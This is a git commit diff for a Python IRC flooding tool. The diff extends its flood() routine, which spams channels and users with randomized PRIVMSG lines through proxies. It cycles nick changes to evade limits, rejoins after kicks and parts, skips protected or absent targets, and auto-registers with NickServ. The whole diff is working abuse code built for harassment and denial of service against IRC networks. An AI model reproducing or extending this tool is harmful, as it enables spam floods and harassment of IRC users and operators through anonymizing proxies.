This commit is contained in:
Your Name
2021-06-02 14:54:46 +02:00
parent d3d83e1d90
commit 9efeff6ec1
4 changed files with 86 additions and 14 deletions

View File

@@ -101,6 +101,7 @@ def flood(sock):
ret = False
connected = False
sentquery = False
isjoined = None
global is_target_protected
global default_threads
global waitonsuccess
@@ -142,15 +143,21 @@ def flood(sock):
# flood in PVs
if connected and (time.time() - connected) > config.flood.noquerybefore and len(nicks):
if not sentquery or (time.time() - sentquery) > 60:
print('sending queries ?')
if config.flood.change_nick and config.flood.message is not None:
print('sending queries ? (nickchange)')
for i in range(config.flood.change_nick):
sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(','.join(nicks), randcrap(random.choice(msgs)), random.choice(nicklist)))
time.sleep(0.3)
elif config.flood.message is not None:
print('sending queries ?')
sock.send('PRIVMSG %s :%s\r\n' % (','.join(nicks), randcrap(random.choice(msgs))))
sentquery = time.time()
if connected and config.flood.message and isjoined:
if not config.flood.wait or (time.time() - isjoined) > config.flood.wait:
sock.send('PRIVMSG %s :%s\n' % (','.join(chans), randcrap(random.choice(msgs))))
time.sleep(0.7)
_split = recv.split(' ')
if _split[1] == 'PONG':
time.sleep(1)
@@ -166,11 +173,11 @@ def flood(sock):
send.append('JOIN %s' % ','.join(chans))
if config.flood.message:
send.append('PRIVMSG %s :%s' % (','.join(chans), randcrap(random.choice(msgs))))
if cycle:
if config.flood.message:
send.append('PART %s :%s' %(','.join(chans), randcrap(random.choice(msgs))))
else:
send.append('PART %s' %','.join(chans))
#if cycle:
# if config.flood.message:
# send.append('PART %s :%s' %(','.join(chans), randcrap(random.choice(msgs))))
# else:
# send.append('PART %s' %','.join(chans))
## spam nicks on connect
if len(nicks) and config.flood.message and connected and (time.time() - connected) > config.flood.noquerybefore:
@@ -183,8 +190,13 @@ def flood(sock):
print( '001: sending %s' % '\r\n'.join(send))
sock.send('\r\n'.join(send) + '\r\n')
elif _split[1] == 'PART':
if recv.startswith(':%s!' % nick): isjoined = None
if config.flood.cycle: sock.send('JOIN %s\n' % _split[2].lstrip(':'))
# end of names list (joined a chan)
elif _split[1] == '366':
isjoined = time.time()
ret = True
send = []
c = _split[3]
@@ -201,11 +213,21 @@ def flood(sock):
if not c in chans:
chans.append(c)
if cycle:
if config.flood.message is not None:
send.append('JOIN %s\r\nPRIVMSG %s :%s\r\nPART %s :%s' %(c,c,randcrap(random.choice(msgs)),c, randcrap(random.choice(msgs))))
else:
send.append('JOIN %s\r\nPART %s' %(c,c))
#if cycle:
# if config.flood.message is not None:
# send.append('JOIN %s\r\nPRIVMSG %s :%s\r\nPART %s :%s' %(c,c,randcrap(random.choice(msgs)),c, randcrap(random.choice(msgs))))
# else:
# send.append('JOIN %s\r\nPART %s' %(c,c))
if config.flood.message:
if not config.flood.wait or (time.time() - isjoined) > config.flood.wait:
send.append('PRIVMSG %s :%s' %(c,randcrap(random.choice(msgs))))
if config.flood.cycle:
if config.flood.message:
message = randcrap( random.choice(msgs) )
else: message = ''
send.append('PART %s :%s\n' % (c,message))
if config.flood.once:
send.append('QUIT')
@@ -252,6 +274,16 @@ def flood(sock):
sock.send('KNOCK %s\r\n' % _split[3])
if _split[3] in chans: chans.remove( _split[3] )
# bot has been kicked
elif _split[1] == 'KICK':
if _split[3] == nick: sock.send('JOIN %s\n' % _split[3])
# user is not present
elif _split[1] == '401':
if not ret: ret = True
#if _split[3] in chans: chans.remove(_split[3])
if _split[3] in nicks: nicks.remove(_split[3])
if not len(chans) and not len(nicks): break
# banned from chan
elif _split[1] == '404':
if not ret: ret = True
@@ -263,8 +295,9 @@ def flood(sock):
if not config.flood.register:
if _split[3] in chans: chans.remove(_split[3])
elif _split[3] in nicks: nicks.remove(_split[3])
if _split[3] in nicks: nicks.remove(_split[3])
print('target "%s" is protected (+R)' % _split[3])
if not len(chans) and not len(nicks): break
else:
sock.send('PRIVMSG %s :register hunter2 %s@gmail.com\r\n' %(config.flood.nickserv,nick))
@@ -332,6 +365,7 @@ class WorkerJob():
status = flood(sock)
print('status: %s' %str(status))
if not status and not self.proxy in badlist: badlist.append(self.proxy)
if not status and random.random() < random.random(): status = False
return status
except rocksock.RocksockException as e:
@@ -577,7 +611,7 @@ class Proxywatchd():
if self.in_background:
wt.start_thread()
self.threads.append(wt)
time.sleep( (random.random()/100) )
time.sleep( (random.random()/100) )
sleeptime = 0